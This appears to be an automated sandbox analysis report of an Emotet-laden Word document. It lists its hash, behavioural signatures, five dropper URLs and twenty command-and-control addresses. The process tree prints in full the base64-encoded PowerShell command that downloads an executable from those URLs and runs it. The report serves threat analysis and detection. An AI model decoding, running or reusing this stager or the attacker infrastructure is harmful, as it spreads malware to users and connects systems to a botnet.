Analysis

  • max time kernel
    145s
  • max time network
    142s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    31/07/2020, 07:23

General

  • Target
    LF3294283294PC.doc
  • Size 172KB
  • Sample200731-bzhtmfz7nx
  • SHA256 bdd27214237a8d3cb0df1c5a91967fb3d767427fe0eea2f8cfcb62357eb7490a
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://amventas.com/public/iu1c_vtucu_ruec/

  • exe.dropper

    http://www.cotrafina.com/wp-content/xrmq_7ug_ttv/

  • exe.dropper

    http://webappbr.com/wp-admin/ha_s5_3wf/

  • exe.dropper

    http://whatsappsenderpro.com/Videos/4wl_0q0m_g61c3/

  • exe.dropper

    http://bartboutens.nl/wp-admin/no77z_k3_azs/

Extracted

Family
  • emotet

C2
  • 47.146.117.214:80

  • 62.108.54.22:8080

  • 212.51.142.238:8080

  • 190.160.53.126:80

  • 87.106.136.232:8080

  • 74.208.45.104:8080

  • 121.124.124.40:7080

  • 124.45.106.173:443

  • 76.27.179.47:80

  • 210.165.156.91:80

  • 61.19.246.238:443

  • 81.2.235.111:8080

  • 169.239.182.217:8080

  • 181.230.116.163:80

  • 139.130.242.43:80

  • 46.105.131.87:80

  • 139.59.60.244:8080

  • 222.214.218.37:4143

  • 41.60.200.34:80

  • 200.55.243.138:8080

rsa_pubkey.plain

Signatures

  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Blacklisted process makes network request 3 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\LF3294283294PC.doc" /o ""
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Checks processor information in registry
    • Enumerates system info in registry
    PID:3948
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABXAEkAUQBPAFAAaQB5AHYAPQAnAFYARABTAEoASwBqAG8AZgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGAAZQBDAHUAcgBJAFQAYABZAGAAcAByAG8AdABgAG8AQwBgAG8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEYATABXAEoAUgBjAGYAZAAgAD0AIAAnADYAOAA0ACcAOwAkAFgAWQBPAFgASABtAG8AbwA9ACcARABNAFQAQgBYAHkAYwBtACcAOwAkAFkARwBDAEcAQgB6AG4AbwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARgBMAFcASgBSAGMAZgBkACsAJwAuAGUAeABlACcAOwAkAEsAUgBVAEgARgByAHMAbAA9ACcAVwBBAE4AVgBNAGsAZgBmACcAOwAkAEsAVQBBAEoARQBtAGQAeQA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwAnACsAJwBiAGoAZQBjAHQAJwApACAATgBlAFQALgB3AEUAYgBDAEwAaQBlAE4AVAA7ACQARQBaAE4ASwBWAGYAdABhAD0AJwBoAHQAdABwADoALwAvAGEAbQB2AGUAbgB0AGEAcwAuAGMAbwBtAC8AcAB1AGIAbABpAGMALwBpAHUAMQBjAF8AdgB0AHUAYwB1AF8AcgB1AGUAYwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGMAbwB0AHIAYQBmAGkAbgBhAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AeAByAG0AcQBfADcAdQBnAF8AdAB0AHYALwAqAGgAdAB0AHAAOgAvAC8AdwBlAGIAYQBwAHAAYgByAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBoAGEAXwBzADUAXwAzAHcAZgAvACoAaAB0AHQAcAA6AC8ALwB3AGgAYQB0AHMAYQBwAHAAcwBlAG4AZABlAHIAcAByAG8ALgBjAG8AbQAvAFYAaQBkAGUAbwBzAC8ANAB3AGwAXwAwAHEAMABtAF8AZwA2ADEAYwAzAC8AKgBoAHQAdABwADoALwAvAGIAYQByAHQAYgBvAHUAdABlAG4AcwAuAG4AbAAvAHcAcAAtAGEAZABtAGkAbgAvAG4AbwA3ADcAegBfAGsAMwBfAGEAegBzAC8AJwAuACIAUwBgAHAATABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABJAEwASgBCAEIAdQBxAHMAPQAnAEIAQwBWAEwASQB3AGcAdQAnADsAZgBvAHIAZQBhAGMAaAAoACQATgBEAFYARwBCAHIAegB2ACAAaQBuACAAJABFAFoATgBLAFYAZgB0AGEAKQB7AHQAcgB5AHsAJABLAFUAQQBKAEUAbQBkAHkALgAiAEQAbwB3AGAATgBMAGAATwBBAGQAZgBpAGAATABlACIAKAAkAE4ARABWAEcAQgByAHoAdgAsACAAJABZAEcAQwBHAEIAegBuAG8AKQA7ACQARgBRAFQAVwBGAHYAbQByAD0AJwBVAEgAQQBKAFYAcwBkAHUAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdAAnACsAJwBlAG0AJwApACAAJABZAEcAQwBHAEIAegBuAG8AKQAuACIATABlAE4AYABHAFQAaAAiACAALQBnAGUAIAAyADAAOAA5ADIAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAGUAYQB0AEUAIgAoACQAWQBHAEMARwBCAHoAbgBvACkAOwAkAEkAUQBBAFEATgB2AHEAagA9ACcATABTAFIATwBSAGoAYQBvACcAOwBiAHIAZQBhAGsAOwAkAEwARwBOAFAASgBmAHcAawA9ACcAUwBHAEMASABOAHYAaQBsACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEYAWgBGAEIATwBtAGgAZgA9ACcAQwBTAEkAWgBWAGQAYgBpACcA
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    PID:408
  • C:\Users\Admin\684.exe
    C:\Users\Admin\684.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3116
    • C:\Windows\SysWOW64\certcli\Windows.Management.Workplace.exe
      "C:\Windows\SysWOW64\certcli\Windows.Management.Workplace.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      PID:3904

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/3116-10-0x00000000005E0000-0x00000000005EC000-memory.dmp

        memory/3904-13-0x00000000004E0000-0x00000000004EC000-memory.dmp

        memory/3948-3-0x000001D5A180C000-0x000001D5A1851000-memory.dmp